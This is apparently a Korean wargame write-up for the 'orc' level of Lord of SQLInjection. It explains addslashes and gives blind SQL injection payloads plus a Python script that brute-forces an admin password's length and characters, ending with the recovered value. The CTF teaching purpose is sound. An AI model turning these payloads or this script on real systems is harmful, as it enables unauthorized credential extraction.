-
[LOS] orcWargame/Lord of SQLInjection 2019. 7. 4. 23:52
[orc] https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php
쿼리 문이 참일 경우에는 Hello admin을 페이지에 출력해주며, pw 값을 addslashes 함수로 처리한다.
또한 쿼리의 결과 값의 pw와 입력해준 pw 값이 동일해야 한다.
[ addslashes(string $str) ]
작은 따옴표와 큰 따옴표, 역슬래쉬 같은 특정 문자 앞에 역 슬래쉬 문자를 붙여주는 함수
db 값으로 입력 시 에러 방지 위해 사용addslashes 처리되기 때문에 Blind SQL Injection을 이용해 pw의 값을 직접 알아내야한다.
1. pw 길이 알아내기
?pw=' or length(pw)=n#
2. pw 한 글자씩 알아내기
?pw=' or pw like 'a%
?pw=' or substr(pw, n, 1)='[0 - 9], [a - z]?pw=' or length(pw)=8%23
pw의 길이는 8글자이다.
위와 같이 브루트포싱해서 알아내면 된다.
python으로 코드를 짜 비밀번호를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'} url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php" string = "1234567890abcdefghijklmnopqrstuvwxyz" pw = '' len = 1 while True: data = "?pw=' or length(pw) = " + str(len) + "%23" r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : break len += 1 print "[+] Get Password length : ",len for i in range(1,len+1): for j in string: data = "?pw=' or pw like \'" + pw + j + "%" r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : pw = pw + j print "[*] Finding... : ",pw break print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 095a9852
?pw=095a9852
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] darkelf (0) 2019.07.05 [LOS] wolfman (0) 2019.07.05 [LOS] goblin (0) 2019.07.04 [LOS] cobolt (0) 2019.07.04 [LOS] gremlin (0) 2019.07.04 댓글